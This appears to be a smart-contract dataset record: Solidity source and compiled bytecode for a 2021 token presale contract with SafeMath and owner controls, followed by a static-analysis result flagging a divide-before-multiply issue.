* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) external onlyOwner {
require(_newOwner != address(0),"Invalid address passed");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract PreSale is Owned {
using SafeMath for uint256;
address public tokenAddress;
uint256 public constant startSale = 1614106800; // 23 Feb 2021, 7pm GMT
uint256 public constant endSale = 1614625200; // 01 March 2021, 7pm GMT
uint256 public constant claimDate = 1614628800; // 01 March 2021, 8pm GMT
uint256 public purchasedTokens;
mapping(address => uint256) public investor;
constructor() public {
owner = 0xa97F07bc8155f729bfF5B5312cf42b6bA7c4fCB9;
}
function SetTokenAddress(address _tokenAddress) external onlyOwner {
tokenAddress = _tokenAddress;
}
receive() external payable{
Invest();
}
function Invest() public payable{
require( now > startSale && now < endSale , "Sale is closed");
uint256 tokens = getTokenAmount(msg.value);
investor[msg.sender] += tokens;
purchasedTokens = purchasedTokens + tokens;
owner.transfer(msg.value);
}
function getTokenAmount(uint256 amount) internal pure returns(uint256){
return amount * 200;
}
function ClaimTokens() external returns(bool){
require(now >= claimDate, "Token claim date not reached");
require(investor[msg.sender] > 0, "Not an investor");
uint256 tokens = investor[msg.sender];
investor[msg.sender] = 0;
require(IERC20(tokenAddress).transfer(msg.sender, tokens));
return true;
}
function getUnSoldTokens() onlyOwner external{
require(block.timestamp > endSale, "sale is not closed");
// check unsold tokens
uint256 tokensInContract = IERC20(tokenAddress).balanceOf(address(this));
require(tokensInContract > 0, "no unsold tokens in contract");
require(IERC20(tokenAddress).transfer(owner, tokensInContract), "transfer of token failed");
}
}
|
0x6080604052600436106100ab5760003560e01c80638da5cb5b116100645780638da5cb5b1461018b5780639d76ea58146101bc578063a1d915b8146101d1578063b66a0e5d146101fa578063c08199611461020f578063f2fde38b14610217576100ba565b806305971912146100bf5780630db4bad0146100e65780631b1cd4ff146100fb57806333a7e7391461012e578063380d831b146101615780638d18c4aa14610176576100ba565b366100ba576100b861024a565b005b600080fd5b3480156100cb57600080fd5b506100d4610308565b60408051918252519081900360200190f35b3480156100f257600080fd5b506100d461030e565b34801561010757600080fd5b506100d46004803603602081101561011e57600080fd5b50356001600160a01b0316610316565b34801561013a57600080fd5b506100b86004803603602081101561015157600080fd5b50356001600160a01b0316610328565b34801561016d57600080fd5b506100d46103a1565b34801561018257600080fd5b506100b86103a9565b34801561019757600080fd5b506101a06105f5565b604080516001600160a01b039092168252519081900360200190f35b3480156101c857600080fd5b506101a0610604565b3480156101dd57600080fd5b506101e6610613565b604080519115158252519081900360200190f35b34801561020657600080fd5b506100d461076a565b6100b861024a565b34801561022357600080fd5b506100b86004803603602081101561023a57600080fd5b50356001600160a01b0316610772565b63603550b042118015610260575063603d39b042105b6102a2576040805162461bcd60e51b815260206004820152600e60248201526d14d85b19481a5cc818db1bdcd95960921b604482015290519081900360640190fd5b60006102ad34610868565b336000908152600360205260408082208054840190556002805484019055815490519293506001600160a01b0316913480156108fc0292909190818181858888f19350505050158015610304573d6000803e3d6000fd5b5050565b60025481565b63603d47c081565b60036020526000908152604090205481565b6000546001600160a01b0316331461037f576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b63603d39b081565b6000546001600160a01b03163314610400576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b63603d39b0421161044d576040805162461bcd60e51b81526020600482015260126024820152711cd85b19481a5cc81b9bdd0818db1bdcd95960721b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561049857600080fd5b505afa1580156104ac573d6000803e3d6000fd5b505050506040513d60208110156104c257600080fd5b5051905080610518576040805162461bcd60e51b815260206004820152601c60248201527f6e6f20756e736f6c6420746f6b656e7320696e20636f6e747261637400000000604482015290519081900360640190fd5b600154600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b15801561057557600080fd5b505af1158015610589573d6000803e3d6000fd5b505050506040513d602081101561059f57600080fd5b50516105f2576040805162461bcd60e51b815260206004820152601860248201527f7472616e73666572206f6620746f6b656e206661696c65640000000000000000604482015290519081900360640190fd5b50565b6000546001600160a01b031681565b6001546001600160a01b031681565b600063603d47c042101561066e576040805162461bcd60e51b815260206004820152601c60248201527f546f6b656e20636c61696d2064617465206e6f74207265616368656400000000604482015290519081900360640190fd5b336000908152600360205260409020546106c1576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1030b71034b73b32b9ba37b960891b604482015290519081900360640190fd5b336000818152600360209081526040808320805490849055600154825163a9059cbb60e01b8152600481019690965260248601829052915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b15801561072d57600080fd5b505af1158015610741573d6000803e3d6000fd5b505050506040513d602081101561075757600080fd5b505161076257600080fd5b600191505090565b63603550b081565b6000546001600160a01b031633146107c9576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b03811661081d576040805162461bcd60e51b8152602060048201526016602482015275125b9d985b1a59081859191c995cdcc81c185cdcd95960521b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60c8029056fea264697066735822122048752c17880b47ddc1d6e7e1dff3659b9b56b6d0aec31941265493a047e5088464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.